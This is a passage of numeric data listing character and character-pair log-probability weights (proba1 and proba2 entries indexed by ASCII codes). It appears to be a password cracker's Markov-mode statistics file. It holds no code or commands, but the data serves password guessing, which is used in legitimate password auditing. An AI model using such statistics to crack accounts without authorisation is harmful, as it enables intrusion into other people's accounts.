-56=proba2[66*256+118] -56=proba2[66*256+119] -56=proba2[66*256+120] -56=proba2[66*256+122] -61=proba1[67] -65=proba2[67*256+32] -65=proba2[67*256+39] -65=proba2[67*256+41] -59=proba2[67*256+46] -48=proba2[67*256+48] -37=proba2[67*256+49] -36=proba2[67*256+50] -39=proba2[67*256+51] -43=proba2[67*256+52] -42=proba2[67*256+53] -42=proba2[67*256+54] -65=proba2[67*256+55] -54=proba2[67*256+56] -48=proba2[67*256+57] -24=proba2[67*256+65] -42=proba2[67*256+66] -41=proba2[67*256+67] -43=proba2[67*256+68] -28=proba2[67*256+69] -49=proba2[67*256+70] -49=proba2[67*256+71] -23=proba2[67*256+72] -32=proba2[67*256+73] -65=proba2[67*256+74] -33=proba2[67*256+75] -38=proba2[67*256+76] -43=proba2[67*256+77] -49=proba2[67*256+78] -22=proba2[67*256+79] -42=proba2[67*256+80] -59=proba2[67*256+81] -31=proba2[67*256+82] -40=proba2[67*256+83] -41=proba2[67*256+84] -42=proba2[67*256+85] -54=proba2[67*256+86] -54=proba2[67*256+88] -54=proba2[67*256+89] -59=proba2[67*256+90] -65=proba2[67*256+94] -33=proba2[67*256+97] -65=proba2[67*256+98] -52=proba2[67*256+99] -41=proba2[67*256+101] -65=proba2[67*256+102] -54=proba2[67*256+103] -33=proba2[67*256+104] -45=proba2[67*256+105] -65=proba2[67*256+106] -65=proba2[67*256+107] -38=proba2[67*256+108] -48=proba2[67*256+109] -31=proba2[67*256+111] -65=proba2[67*256+112] -65=proba2[67*256+113] -43=proba2[67*256+114] -54=proba2[67*256+115] -65=proba2[67*256+116] -54=proba2[67*256+117] -41=proba2[67*256+121] -65=proba1[68] -56=proba2[68*256+38] -63=proba2[68*256+43] -40=proba2[68*256+48] -36=proba2[68*256+49] -41=proba2[68*256+50] -42=proba2[68*256+51] -49=proba2[68*256+52] -52=proba2[68*256+53] -49=proba2[68*256+54] -45=proba2[68*256+55] -43=proba2[68*256+56] -40=proba2[68*256+57] -63=proba2[68*256+59] -63=proba2[68*256+64] -24=proba2[68*256+65] -45=proba2[68*256+66] -45=proba2[68*256+67] -41=proba2[68*256+68] -23=proba2[68*256+69] -47=proba2[68*256+70] -52=proba2[68*256+71] -49=proba2[68*256+72] -25=proba2[68*256+73] -36=proba2[68*256+74] -47=proba2[68*256+75] -42=proba2[68*256+76] -40=proba2[68*256+77] -56=proba2[68*256+78] -27=proba2[68*256+79] -47=proba2[68*256+80] -30=proba2[68*256+82] -39=proba2[68*256+83] -47=proba2[68*256+84] -38=proba2[68*256+85] -49=proba2[68*256+86] -52=proba2[68*256+87] -49=proba2[68*256+89] -47=proba2[68*256+90] -63=proba2[68*256+95] -32=proba2[68*256+97] -49=proba2[68*256+100] -31=proba2[68*256+101] -63=proba2[68*256+102] -63=proba2[68*256+103] -63=proba2[68*256+104] -33=proba2[68*256+105] -49=proba2[68*256+106] -56=proba2[68*256+107] -63=proba2[68*256+108] -52=proba2[68*256+109] -56=proba2[68*256+110] -33=proba2[68*256+111] -49=proba2[68*256+112] -36=proba2[68*256+114] -47=proba2[68*256+115] -63=proba2[68*256+116] -38=proba2[68*256+117] -56=proba2[68*256+118] -63=proba2[68*256+119] -45=proba2[68*256+120] -56=proba2[68*256+121] -69=proba1[69] -68=proba2[69*256+42] -68=proba2[69*256+45] -68=proba2[69*256+46] -46=proba2[69*256+48] -35=proba2[69*256+49] -41=proba2[69*256+50] -52=proba2[69*256+51] -50=proba2[69*256+52] -43=proba2[69*256+53] -47=proba2[69*256+54] -57=proba2[69*256+55] -52=proba2[69*256+56] -39=proba2[69*256+57] -35=proba2[69*256+65] -39=proba2[69*256+66] -35=proba2[69*256+67] -35=proba2[69*256+68] -44=proba2[69*256+69] -49=proba2[69*256+70] -41=proba2[69*256+71] -52=proba2[69*256+72] -47=proba2[69*256+73] -52=proba2[69*256+74] -46=proba2[69*256+75] -22=proba2[69*256+76] -32=proba2[69*256+77] -26=proba2[69*256+78] -46=proba2[69*256+79] -38=proba2[69*256+80] -18=proba2[69*256+82] -27=proba2[69*256+83] -27=proba2[69*256+84] -39=proba2[69*256+85] -44=proba2[69*256+86] -50=proba2[69*256+87] -40=proba2[69*256+88] -45=proba2[69*256+89] -52=proba2[69*256+90] -54=proba2[69*256+97] -54=proba2[69*256+98] -50=proba2[69*256+99] -54=proba2[69*256+100] -57=proba2[69*256+101] -61=proba2[69*256+102] -61=proba2[69*256+103] -57=proba2[69*256+104] -57=proba2[69*256+105] -61=proba2[69*256+106] -61=proba2[69*256+107] -38=proba2[69*256+108] -49=proba2[69*256+109] -43=proba2[69*256+110] -61=proba2[69*256+111] -68=proba2[69*256+112] -57=proba2[69*256+114] -54=proba2[69*256+115] -50=proba2[69*256+116] -50=proba2[69*256+117] -57=proba2[69*256+118] -68=proba2[69*256+119] -54=proba2[69*256+120] -68=proba2[69*256+121] -68=proba2[69*256+122] -66=proba1[70] -59=proba2[70*256+35] -59=proba2[70*256+38] -59=proba2[70*256+44] -59=proba2[70*256+45] -59=proba2[70*256+46] -43=proba2[70*256+48] -35=proba2[70*256+49] -37=proba2[70*256+50] -40=proba2[70*256+51] -48=proba2[70*256+52] -45=proba2[70*256+53] -40=proba2[70*256+54] -48=proba2[70*256+55] -48=proba2[70*256+56] -40=proba2[70*256+57] -23=proba2[70*256+65] -41=proba2[70*256+66] -41=proba2[70*256+67] -37=proba2[70*256+68] -33=proba2[70*256+69] -35=proba2[70*256+70] -43=proba2[70*256+71] -59=proba2[70*256+72] -27=proba2[70*256+73] -41=proba2[70*256+74] -48=proba2[70*256+75] -32=proba2[70*256+76] -41=proba2[70*256+77] -59=proba2[70*256+78] -31=proba2[70*256+79] -48=proba2[70*256+80] -59=proba2[70*256+81] -29=proba2[70*256+82] -37=proba2[70*256+83] -41=proba2[70*256+84] -36=proba2[70*256+85] -43=proba2[70*256+86] -48=proba2[70*256+87] -48=proba2[70*256+88] -59=proba2[70*256+89] -59=proba2[70*256+90] -59=proba2[70*256+93] -59=proba2[70*256+95] -30=proba2[70*256+97] -48=proba2[70*256+99] -59=proba2[70*256+100] -36=proba2[70*256+101] -45=proba2[70*256+102] -52=proba2[70*256+103] -41=proba2[70*256+105] -59=proba2[70*256+107] -33=proba2[70*256+108] -52=proba2[70*256+109] -52=proba2[70*256+110] -38=proba2[70*256+111] -30=proba2[70*256+114] -52=proba2[70*256+116] -41=proba2[70*256+117] -59=proba2[70*256+121] -59=proba2[70*256+122] -66=proba1[71] -54=proba2[71*256+32] -54=proba2[71*256+33] -54=proba2[71*256+42] -61=proba2[71*256+45] -43=proba2[71*256+48] -37=proba2[71*256+49] -39=proba2[71*256+50] -41=proba2[71*256+51] -47=proba2[71*256+52] -47=proba2[71*256+53] -54=proba2[71*256+54] -37=proba2[71*256+55] -54=proba2[71*256+56] -37=proba2[71*256+57] -23=proba2[71*256+65] -38=proba2[71*256+66] -43=proba2[71*256+67] -45=proba2[71*256+68] -27=proba2[71*256+69] -47=proba2[71*256+70] -38=proba2[71*256+71] -39=proba2[71*256+72] -31=proba2[71*256+73] -50=proba2[71*256+74] -54=proba2[71*256+75] -41=proba2[71*256+76] -45=proba2[71*256+77] -41=proba2[71*256+78] -27=proba2[71*256+79] -40=proba2[71*256+80] -54=proba2[71*256+81] -35=proba2[71*256+82] -47=proba2[71*256+83] -43=proba2[71*256+84] -35=proba2[71*256+85] -50=proba2[71*256+86] -50=proba2[71*256+87] -45=proba2[71*256+88] -50=proba2[71*256+89] -61=proba2[71*256+90] -30=proba2[71*256+97] -54=proba2[71*256+98] -50=proba2[71*256+100] -47=proba2[71*256+101] -61=proba2[71*256+102] -47=proba2[71*256+103] -43=proba2[71*256+104] -35=proba2[71*256+105] -54=proba2[71*256+106] -50=proba2[71*256+107] -40=proba2[71*256+108] -54=proba2[71*256+109] -54=proba2[71*256+110] -30=proba2[71*256+111] -50=proba2[71*256+112] -41=proba2[71*256+114] -61=proba2[71*256+116] -31=proba2[71*256+117] -54=proba2[71*256+119] -54=proba2[71*256+120] -50=proba2[71*256+121] -72=proba1[72] -58=proba2[72*256+32] -58=proba2[72*256+33] -58=proba2[72*256+44] -58=proba2[72*256+45] -58=proba2[72*256+48] -37=proba2[72*256+49] -37=proba2[72*256+50] -40=proba2[72*256+51] -51=proba2[72*256+52] -58=proba2[72*256+53] -51=proba2[72*256+54] -44=proba2[72*256+55] -47=proba2[72*256+56] -42=proba2[72*256+57] -20=proba2[72*256+65] -42=proba2[72*256+66] -44=proba2[72*256+67] -42=proba2[72*256+68] -21=proba2[72*256+69] -42=proba2[72*256+70] -58=proba2[72*256+71] -42=proba2[72*256+72] -26=proba2[72*256+73] -51=proba2[72*256+74] -39=proba2[72*256+75] -47=proba2[72*256+76] -36=proba2[72*256+77] -47=proba2[72*256+78] -26=proba2[72*256+79] -51=proba2[72*256+80] -47=proba2[72*256+81] -35=proba2[72*256+82] -47=proba2[72*256+83] -47=proba2[72*256+84] -37=proba2[72*256+85] -58=proba2[72*256+86] -51=proba2[72*256+87] -44=proba2[72*256+88] -39=proba2[72*256+89] -42=proba2[72*256+90] -51=proba2[72*256+95] -32=proba2[72*256+97] -51=proba2[72*256+98] -58=proba2[72*256+99] -47=proba2[72*256+100] -32=proba2[72*256+101] -58=proba2[72*256+102] -37=proba2[72*256+105] -51=proba2[72*256+106] -58=proba2[72*256+107] -58=proba2[72*256+108] -58=proba2[72*256+110] -36=proba2[72*256+111] -51=proba2[72*256+114] -58=proba2[72*256+115] -58=proba2[72*256+116] -42=proba2[72*256+117] -51=proba2[72*256+121] -51=proba2[72*256+122] -58=proba2[72*256+125] -75=proba1[73] -67=proba2[73*256+36] -67=proba2[73*256+38] -67=proba2[73*256+46] -49=proba2[73*256+48] -41=proba2[73*256+49] -44=proba2[73*256+50] -51=proba2[73*256+51] -49=proba2[73*256+52] -60=proba2[73*256+53] -46=proba2[73*256+54] -46=proba2[73*256+55] -56=proba2[73*256+56] -53=proba2[73*256+57] -29=proba2[73*256+65] -45=proba2[73*256+66] -26=proba2[73*256+67] -35=proba2[73*256+68] -21=proba2[73*256+69] -44=proba2[73*256+70] -36=proba2[73*256+71] -67=proba2[73*256+72] -42=proba2[73*256+73] -60=proba2[73*256+74] -37=proba2[73*256+75] -28=proba2[73*256+76] -30=proba2[73*256+77] -21=proba2[73*256+78] -33=proba2[73*256+79] -43=proba2[73*256+80] -44=proba2[73*256+81] -31=proba2[73*256+82] -25=proba2[73*256+83] -27=proba2[73*256+84] -56=proba2[73*256+85] -39=proba2[73*256+86] -53=proba2[73*256+87] -42=proba2[73*256+88] -67=proba2[73*256+89] -45=proba2[73*256+90] -53=proba2[73*256+97] -56=proba2[73*256+99] -53=proba2[73*256+100] -60=proba2[73*256+102] -60=proba2[73*256+103] -67=proba2[73*256+104] -67=proba2[73*256+105] -67=proba2[73*256+107] -56=proba2[73*256+108] -53=proba2[73*256+109] -45=proba2[73*256+110] -60=proba2[73*256+112] -60=proba2[73*256+113] -53=proba2[73*256+114] -49=proba2[73*256+115] -67=proba2[73*256+116] -60=proba2[73*256+118] -67=proba2[73*256+119] -67=proba2[73*256+120] -60=proba2[73*256+122] -67=proba1[74] -57=proba2[74*256+42] -57=proba2[74*256+46] -37=proba2[74*256+48] -46=proba2[74*256+49] -37=proba2[74*256+50] -46=proba2[74*256+51] -57=proba2[74*256+52] -50=proba2[74*256+53] -57=proba2[74*256+54] -43=proba2[74*256+55] -57=proba2[74*256+56] -50=proba2[74*256+57] -50=proba2[74*256+64] -28=proba2[74*256+65] -39=proba2[74*256+66] -39=proba2[74*256+67] -46=proba2[74*256+68] -26=proba2[74*256+69] -36=proba2[74*256+70] -46=proba2[74*256+71] -43=proba2[74*256+72] -32=proba2[74*256+73] -36=proba2[74*256+74] -46=proba2[74*256+75] -39=proba2[74*256+76] -39=proba2[74*256+77] -57=proba2[74*256+78] -21=proba2[74*256+79] -30=proba2[74*256+80] -50=proba2[74*256+81] -39=proba2[74*256+82] -43=proba2[74*256+83] -46=proba2[74*256+84] -27=proba2[74*256+85] -57=proba2[74*256+87] -57=proba2[74*256+89] -50=proba2[74*256+90] -57=proba2[74*256+95] -31=proba2[74*256+97] -50=proba2[74*256+98] -43=proba2[74*256+99] -57=proba2[74*256+100] -34=proba2[74*256+101] -50=proba2[74*256+102] -46=proba2[74*256+104] -50=proba2[74*256+105] -50=proba2[74*256+106] -57=proba2[74*256+107] -50=proba2[74*256+109] -57=proba2[74*256+110] -32=proba2[74*256+111] -57=proba2[74*256+112] -57=proba2[74*256+114] -57=proba2[74*256+116] -30=proba2[74*256+117] -50=proba2[74*256+118] -50=proba2[74*256+119] -57=proba2[74*256+121] -70=proba1[75] -56=proba2[75*256+39] -56=proba2[75*256+46] -56=proba2[75*256+48] -35=proba2[75*256+49] -34=proba2[75*256+50] -49=proba2[75*256+51] -40=proba2[75*256+52] -45=proba2[75*256+53] -38=proba2[75*256+54] -49=proba2[75*256+55] -40=proba2[75*256+56] -45=proba2[75*256+57] -56=proba2[75*256+63] -56=proba2[75*256+64] -22=proba2[75*256+65] -42=proba2[75*256+66] -56=proba2[75*256+67] -49=proba2[75*256+68] -30=proba2[75*256+69] -45=proba2[75*256+70] -56=proba2[75*256+71] -45=proba2[75*256+72] -23=proba2[75*256+73] -45=proba2[75*256+74] -45=proba2[75*256+75] -35=proba2[75*256+76] -40=proba2[75*256+77] -49=proba2[75*256+78] -30=proba2[75*256+79] -56=proba2[75*256+80] -56=proba2[75*256+81] -37=proba2[75*256+82] -45=proba2[75*256+83] -45=proba2[75*256+84] -49=proba2[75*256+85] -56=proba2[75*256+86] -49=proba2[75*256+87] -56=proba2[75*256+88] -42=proba2[75*256+89] -56=proba2[75*256+90] -56=proba2[75*256+95] -26=proba2[75*256+97] -49=proba2[75*256+98] -45=proba2[75*256+100] -31=proba2[75*256+101] -49=proba2[75*256+102] -49=proba2[75*256+103] -40=proba2[75*256+104] -34=proba2[75*256+105] -49=proba2[75*256+107] -56=proba2[75*256+108] -56=proba2[75*256+110] -33=proba2[75*256+111] -49=proba2[75*256+112] -49=proba2[75*256+113] -42=proba2[75*256+114] -56=proba2[75*256+115] -56=proba2[75*256+116] -45=proba2[75*256+117] -56=proba2[75*256+118] -56=proba2[75*256+119] -49=proba2[75*256+120] -56=proba2[75*256+121] -49=proba2[75*256+122] -56=proba2[75*256+124] -65=proba1[76] -66=proba2[76*256+32] -66=proba2[76*256+41] -66=proba2[76*256+45] -55=proba2[76*256+46] -44=proba2[76*256+48] -41=proba2[76*256+49] -45=proba2[76*256+50] -52=proba2[76*256+51] -46=proba2[76*256+52] -46=proba2[76*256+53] -50=proba2[76*256+54] -55=proba2[76*256+55] -59=proba2[76*256+56] -48=proba2[76*256+57] -66=proba2[76*256+64] -21=proba2[76*256+65] -45=proba2[76*256+66] -44=proba2[76*256+67] -36=proba2[76*256+68] -21=proba2[76*256+69] -44=proba2[76*256+70] -45=proba2[76*256+71] -46=proba2[76*256+72] -20=proba2[76*256+73] -66=proba2[76*256+74] -52=proba2[76*256+75] -28=proba2[76*256+76] -36=proba2[76*256+77] -24=proba2[76*256+79] -39=proba2[76*256+80] -52=proba2[76*256+82] -43=proba2[76*256+83] -40=proba2[76*256+84] -36=proba2[76*256+85] -44=proba2[76*256+86] -59=proba2[76*256+87] -41=proba2[76*256+89] -66=proba2[76*256+90] -66=proba2[76*256+93] -32=proba2[76*256+97] -66=proba2[76*256+98] -55=proba2[76*256+99] -55=proba2[76*256+100] -36=proba2[76*256+101] -50=proba2[76*256+102] -66=proba2[76*256+103] -59=proba2[76*256+104] -38=proba2[76*256+105] -59=proba2[76*256+106] -55=proba2[76*256+109] -66=proba2[76*256+110] -35=proba2[76*256+111] -66=proba2[76*256+112] -66=proba2[76*256+113] -66=proba2[76*256+114] -66=proba2[76*256+115] -55=proba2[76*256+116] -41=proba2[76*256+117] -66=proba2[76*256+118] -66=proba2[76*256+119] -55=proba2[76*256+121] -50=proba2[76*256+122] -58=proba1[77] -60=proba2[77*256+32] -67=proba2[77*256+33] -60=proba2[77*256+42] -60=proba2[77*256+43] -60=proba2[77*256+44] -51=proba2[77*256+45] -46=proba2[77*256+48] -39=proba2[77*256+49] -44=proba2[77*256+50] -46=proba2[77*256+51] -60=proba2[77*256+52] -51=proba2[77*256+53] -49=proba2[77*256+54] -46=proba2[77*256+55] -47=proba2[77*256+56] -46=proba2[77*256+57] -60=proba2[77*256+63] -18=proba2[77*256+65] -39=proba2[77*256+66] -42=proba2[77*256+67] -45=proba2[77*256+68] -25=proba2[77*256+69] -49=proba2[77*256+70] -44=proba2[77*256+71] -60=proba2[77*256+72] -26=proba2[77*256+73] -53=proba2[77*256+74] -51=proba2[77*256+75] -46=proba2[77*256+76] -34=proba2[77*256+77] -45=proba2[77*256+78] -27=proba2[77*256+79] -38=proba2[77*256+80] -56=proba2[77*256+81] -46=proba2[77*256+82] -51=proba2[77*256+83] -47=proba2[77*256+84] -44=proba2[77*256+85] -51=proba2[77*256+86] -49=proba2[77*256+87] -67=proba2[77*256+88] -36=proba2[77*256+89] -53=proba2[77*256+90] -67=proba2[77*256+95] -22=proba2[77*256+97] -51=proba2[77*256+98] -51=proba2[77*256+99] -32=proba2[77*256+101] -60=proba2[77*256+102] -56=proba2[77*256+103] -67=proba2[77*256+104] -32=proba2[77*256+105] -56=proba2[77*256+106] -56=proba2[77*256+107] -60=proba2[77*256+108] -60=proba2[77*256+109] -56=proba2[77*256+110] -35=proba2[77*256+111] -67=proba2[77*256+112] -56=proba2[77*256+114] -67=proba2[77*256+115] -56=proba2[77*256+116] -46=proba2[77*256+117] -67=proba2[77*256+119] -67=proba2[77*256+120] -39=proba2[77*256+121] -67=proba2[77*256+122] -69=proba1[78] -64=proba2[78*256+33] -64=proba2[78*256+43] -53=proba2[78*256+45] -57=proba2[78*256+46] -57=proba2[78*256+48] -39=proba2[78*256+49] -40=proba2[78*256+50] -46=proba2[78*256+51] -45=proba2[78*256+52] -45=proba2[78*256+53] -48=proba2[78*256+54] -46=proba2[78*256+55] -50=proba2[78*256+56] -50=proba2[78*256+57] -64=proba2[78*256+61] -64=proba2[78*256+64] -26=proba2[78*256+65] -50=proba2[78*256+66] -33=proba2[78*256+67] -26=proba2[78*256+68] -19=proba2[78*256+69] -39=proba2[78*256+70] -34=proba2[78*256+71] -50=proba2[78*256+72] -25=proba2[78*256+73] -48=proba2[78*256+74] -57=proba2[78*256+75] -48=proba2[78*256+76] -50=proba2[78*256+77] -30=proba2[78*256+78] -28=proba2[78*256+79] -53=proba2[78*256+80] -64=proba2[78*256+81] -44=proba2[78*256+83] -26=proba2[78*256+84] -40=proba2[78*256+85] -64=proba2[78*256+87] -46=proba2[78*256+88] -41=proba2[78*256+89] -48=proba2[78*256+90] -33=proba2[78*256+97] -53=proba2[78*256+98] -57=proba2[78*256+99] -64=proba2[78*256+100] -39=proba2[78*256+101] -64=proba2[78*256+102] -48=proba2[78*256+103] -64=proba2[78*256+104] -34=proba2[78*256+105] -64=proba2[78*256+107] -64=proba2[78*256+109] -64=proba2[78*256+110] -37=proba2[78*256+111] -46=proba2[78*256+112] -57=proba2[78*256+115] -53=proba2[78*256+116] -48=proba2[78*256+117] -64=proba2[78*256+119] -64=proba2[78*256+121] -57=proba2[78*256+122] -64=proba2[78*256+125] -77=proba1[79] -66=proba2[79*256+32] -66=proba2[79*256+46] -45=proba2[79*256+48] -43=proba2[79*256+49] -44=proba2[79*256+50] -48=proba2[79*256+51] -66=proba2[79*256+52] -50=proba2[79*256+53] -50=proba2[79*256+54] -59=proba2[79*256+55] -55=proba2[79*256+56] -44=proba2[79*256+57] -55=proba2[79*256+61] -48=proba2[79*256+65] -38=proba2[79*256+66] -31=proba2[79*256+67] -44=proba2[79*256+68] -50=proba2[79*256+69] -50=proba2[79*256+70] -40=proba2[79*256+71] -50=proba2[79*256+72] -36=proba2[79*256+73] -44=proba2[79*256+74] -52=proba2[79*256+75] -26=proba2[79*256+76] -27=proba2[79*256+77] -20=proba2[79*256+78] -34=proba2[79*256+79] -35=proba2[79*256+80] -24=proba2[79*256+82] -30=proba2[79*256+83] -30=proba2[79*256+84] -18=proba2[79*256+85] -47=proba2[79*256+86] -55=proba2[79*256+87] -50=proba2[79*256+88] -42=proba2[79*256+89] -52=proba2[79*256+90] -66=proba2[79*256+93] -59=proba2[79*256+98] -59=proba2[79*256+99] -66=proba2[79*256+103] -66=proba2[79*256+104] -59=proba2[79*256+105] -66=proba2[79*256+106] -66=proba2[79*256+107] -52=proba2[79*256+108] -59=proba2[79*256+109] -50=proba2[79*256+110] -66=proba2[79*256+112] -59=proba2[79*256+114] -66=proba2[79*256+115] -55=proba2[79*256+116] -66=proba2[79*256+117] -66=proba2[79*256+120] -66=proba2[79*256+121] -55=proba2[79*256+122] -63=proba1[80] -56=proba2[80*256+45] -41=proba2[80*256+48] -36=proba2[80*256+49] -36=proba2[80*256+50] -43=proba2[80*256+51] -41=proba2[80*256+52] -52=proba2[80*256+53] -46=proba2[80*256+54] -52=proba2[80*256+55] -63=proba2[80*256+56] -46=proba2[80*256+57] -63=proba2[80*256+61] -63=proba2[80*256+63] -23=proba2[80*256+65] -49=proba2[80*256+66] -45=proba2[80*256+67] -42=proba2[80*256+68] -27=proba2[80*256+69] -49=proba2[80*256+70] -39=proba2[80*256+71] -29=proba2[80*256+72] -30=proba2[80*256+73] -45=proba2[80*256+74] -49=proba2[80*256+75] -36=proba2[80*256+76] -42=proba2[80*256+77] -46=proba2[80*256+78] -27=proba2[80*256+79] -38=proba2[80*256+80] -56=proba2[80*256+81] -32=proba2[80*256+82] -39=proba2[80*256+83] -39=proba2[80*256+84] -37=proba2[80*256+85] -42=proba2[80*256+86] -56=proba2[80*256+87] -63=proba2[80*256+88] -41=proba2[80*256+89] -63=proba2[80*256+90] -28=proba2[80*256+97] -63=proba2[80*256+98] -34=proba2[80*256+101] -63=proba2[80*256+103] -36=proba2[80*256+104] -36=proba2[80*256+105] -56=proba2[80*256+108] -56=proba2[80*256+109] -52=proba2[80*256+110] -29=proba2[80*256+111] -63=proba2[80*256+113] -42=proba2[80*256+114] -63=proba2[80*256+115] -63=proba2[80*256+116] -46=proba2[80*256+117] -63=proba2[80*256+118] -63=proba2[80*256+119] -56=proba2[80*256+120] -63=proba2[80*256+121] -84=proba1[81] -47=proba2[81*256+48] -47=proba2[81*256+49] -40=proba2[81*256+50] -47=proba2[81*256+51] -36=proba2[81*256+52] -33=proba2[81*256+53] -47=proba2[81*256+54] -33=proba2[81*256+55] -47=proba2[81*256+56] -33=proba2[81*256+57] -33=proba2[81*256+65] -47=proba2[81*256+67] -40=proba2[81*256+68] -40=proba2[81*256+69] -40=proba2[81*256+70] -33=proba2[81*256+71] -40=proba2[81*256+73] -40=proba2[81*256+74] -40=proba2[81*256+76] -40=proba2[81*256+77] -47=proba2[81*256+79] -40=proba2[81*256+80] -47=proba2[81*256+81] -40=proba2[81*256+82] -40=proba2[81*256+83] -40=proba2[81*256+84] -20=proba2[81*256+85] -33=proba2[81*256+87] -33=proba2[81*256+89] -47=proba2[81*256+90] -47=proba2[81*256+97] -40=proba2[81*256+98] -47=proba2[81*256+99] -40=proba2[81*256+102] -47=proba2[81*256+103] -40=proba2[81*256+104] -47=proba2[81*256+107] -47=proba2[81*256+109] -47=proba2[81*256+110] -47=proba2[81*256+112] -40=proba2[81*256+113] -47=proba2[81*256+114] -40=proba2[81*256+116] -26=proba2[81*256+117] -29=proba2[81*256+119] -47=proba2[81*256+122] -69=proba1[82] -55=proba2[82*256+32] -66=proba2[82*256+35] -66=proba2[82*256+42] -66=proba2[82*256+43] -55=proba2[82*256+48] -36=proba2[82*256+49] -38=proba2[82*256+50] -48=proba2[82*256+51] -45=proba2[82*256+52] -48=proba2[82*256+53] -59=proba2[82*256+54] -45=proba2[82*256+55] -52=proba2[82*256+56] -48=proba2[82*256+57] -21=proba2[82*256+65] -44=proba2[82*256+66] -38=proba2[82*256+67] -34=proba2[82*256+68] -22=proba2[82*256+69] -47=proba2[82*256+70] -38=proba2[82*256+71] -66=proba2[82*256+72] -20=proba2[82*256+73] -52=proba2[82*256+74] -52=proba2[82*256+75] -39=proba2[82*256+76] -39=proba2[82*256+77] -44=proba2[82*256+78] -24=proba2[82*256+79] -45=proba2[82*256+80] -52=proba2[82*256+81] -36=proba2[82*256+82] -33=proba2[82*256+83] -32=proba2[82*256+84] -36=proba2[82*256+85] -47=proba2[82*256+86] -59=proba2[82*256+87] -59=proba2[82*256+88] -41=proba2[82*256+89] -66=proba2[82*256+90] -66=proba2[82*256+93] -66=proba2[82*256+96] -40=proba2[82*256+97] -55=proba2[82*256+100] -37=proba2[82*256+101] -59=proba2[82*256+102] -66=proba2[82*256+103] -66=proba2[82*256+104] -41=proba2[82*256+105] -66=proba2[82*256+106] -66=proba2[82*256+107] -66=proba2[82*256+108] -36=proba2[82*256+111] -55=proba2[82*256+113] -55=proba2[82*256+114] -59=proba2[82*256+115] -59=proba2[82*256+116] -43=proba2[82*256+117] -66=proba2[82*256+118] -59=proba2[82*256+119] -66=proba2[82*256+121] -66=proba2[82*256+122] -61=proba1[83] -59=proba2[83*256+32] -66=proba2[83*256+35] -66=proba2[83*256+38] -66=proba2[83*256+41] -66=proba2[83*256+42] -66=proba2[83*256+45] -44=proba2[83*256+48] -33=proba2[83*256+49] -43=proba2[83*256+50] -48=proba2[83*256+51] -48=proba2[83*256+52] -50=proba2[83*256+53] -50=proba2[83*256+54] -46=proba2[83*256+55] -50=proba2[83*256+56] -42=proba2[83*256+57] -66=proba2[83*256+64] -25=proba2[83*256+65] -46=proba2[83*256+66] -33=proba2[83*256+67] -50=proba2[83*256+68] -25=proba2[83*256+69] -55=proba2[83*256+70] -66=proba2[83*256+71] -40=proba2[83*256+72] -32=proba2[83*256+73] -55=proba2[83*256+74] -50=proba2[83*256+75] -40=proba2[83*256+76] -45=proba2[83*256+77] -42=proba2[83*256+78] -35=proba2[83*256+79] -35=proba2[83*256+80] -46=proba2[83*256+81] -43=proba2[83*256+82] -27=proba2[83*256+83] -25=proba2[83*256+84] -38=proba2[83*256+85] -50=proba2[83*256+86] -42=proba2[83*256+87] -50=proba2[83*256+88] -39=proba2[83*256+89] -55=proba2[83*256+90] -31=proba2[83*256+97] -66=proba2[83*256+98] -44=proba2[83*256+99] -59=proba2[83*256+100] -36=proba2[83*256+101] -59=proba2[83*256+102] -66=proba2[83*256+103] -42=proba2[83*256+104] -40=proba2[83*256+105] -66=proba2[83*256+106] -50=proba2[83*256+107] -59=proba2[83*256+108] -48=proba2[83*256+109] -52=proba2[83*256+110] -33=proba2[83*256+111] -48=proba2[83*256+112] -55=proba2[83*256+113] -66=proba2[83*256+114] -66=proba2[83*256+115] -38=proba2[83*256+116] -41=proba2[83*256+117] -59=proba2[83*256+119] -66=proba2[83*256+120] -48=proba2[83*256+121] -64=proba1[84] -66=proba2[84*256+33] -66=proba2[84*256+39] -66=proba2[84*256+43] -66=proba2[84*256+44] -59=proba2[84*256+45] -52=proba2[84*256+48] -42=proba2[84*256+49] -39=proba2[84*256+50] -50=proba2[84*256+51] -46=proba2[84*256+52] -48=proba2[84*256+53] -44=proba2[84*256+54] -48=proba2[84*256+55] -48=proba2[84*256+56] -44=proba2[84*256+57] -24=proba2[84*256+65] -48=proba2[84*256+66] -37=proba2[84*256+67] -48=proba2[84*256+68] -22=proba2[84*256+69] -50=proba2[84*256+70] -48=proba2[84*256+71] -33=proba2[84*256+72] -24=proba2[84*256+73] -50=proba2[84*256+74] -66=proba2[84*256+75] -44=proba2[84*256+76] -43=proba2[84*256+77] -45=proba2[84*256+78] -23=proba2[84*256+79] -52=proba2[84*256+80] -31=proba2[84*256+82] -42=proba2[84*256+83] -31=proba2[84*256+84] -39=proba2[84*256+85] -55=proba2[84*256+86] -50=proba2[84*256+87] -59=proba2[84*256+88] -39=proba2[84*256+89] -52=proba2[84*256+90] -37=proba2[84*256+97] -50=proba2[84*256+98] -55=proba2[84*256+99] -66=proba2[84*256+100] -39=proba2[84*256+101] -52=proba2[84*256+102] -66=proba2[84*256+103] -33=proba2[84*256+104] -37=proba2[84*256+105] -66=proba2[84*256+106] -66=proba2[84*256+108] -59=proba2[84*256+110] -34=proba2[84*256+111] -48=proba2[84*256+112] -55=proba2[84*256+113] -41=proba2[84*256+114] -66=proba2[84*256+115] -55=proba2[84*256+116] -42=proba2[84*256+117] -66=proba2[84*256+118] -59=proba2[84*256+119] -59=proba2[84*256+120] -46=proba2[84*256+121] -81=proba1[85] -61=proba2[85*256+42] -61=proba2[85*256+45] -61=proba2[85*256+48] -37=proba2[85*256+49] -43=proba2[85*256+50] -50=proba2[85*256+51] -44=proba2[85*256+52] -54=proba2[85*256+53] -50=proba2[85*256+54] -40=proba2[85*256+55] -43=proba2[85*256+57] -61=proba2[85*256+64] -40=proba2[85*256+65] -32=proba2[85*256+66] -28=proba2[85*256+67] -28=proba2[85*256+68] -30=proba2[85*256+69] -44=proba2[85*256+70] -43=proba2[85*256+71] -54=proba2[85*256+72] -31=proba2[85*256+73] -54=proba2[85*256+74] -47=proba2[85*256+75] -25=proba2[85*256+76] -34=proba2[85*256+77] -28=proba2[85*256+78] -54=proba2[85*256+79] -39=proba2[85*256+80] -24=proba2[85*256+82] -24=proba2[85*256+83] -33=proba2[85*256+84] -50=proba2[85*256+85] -41=proba2[85*256+86] -54=proba2[85*256+87] -44=proba2[85*256+88] -39=proba2[85*256+90] -50=proba2[85*256+97] -61=proba2[85*256+98] -54=proba2[85*256+101] -61=proba2[85*256+102] -54=proba2[85*256+103] -61=proba2[85*256+104] -54=proba2[85*256+105] -61=proba2[85*256+106] -61=proba2[85*256+107] -47=proba2[85*256+108] 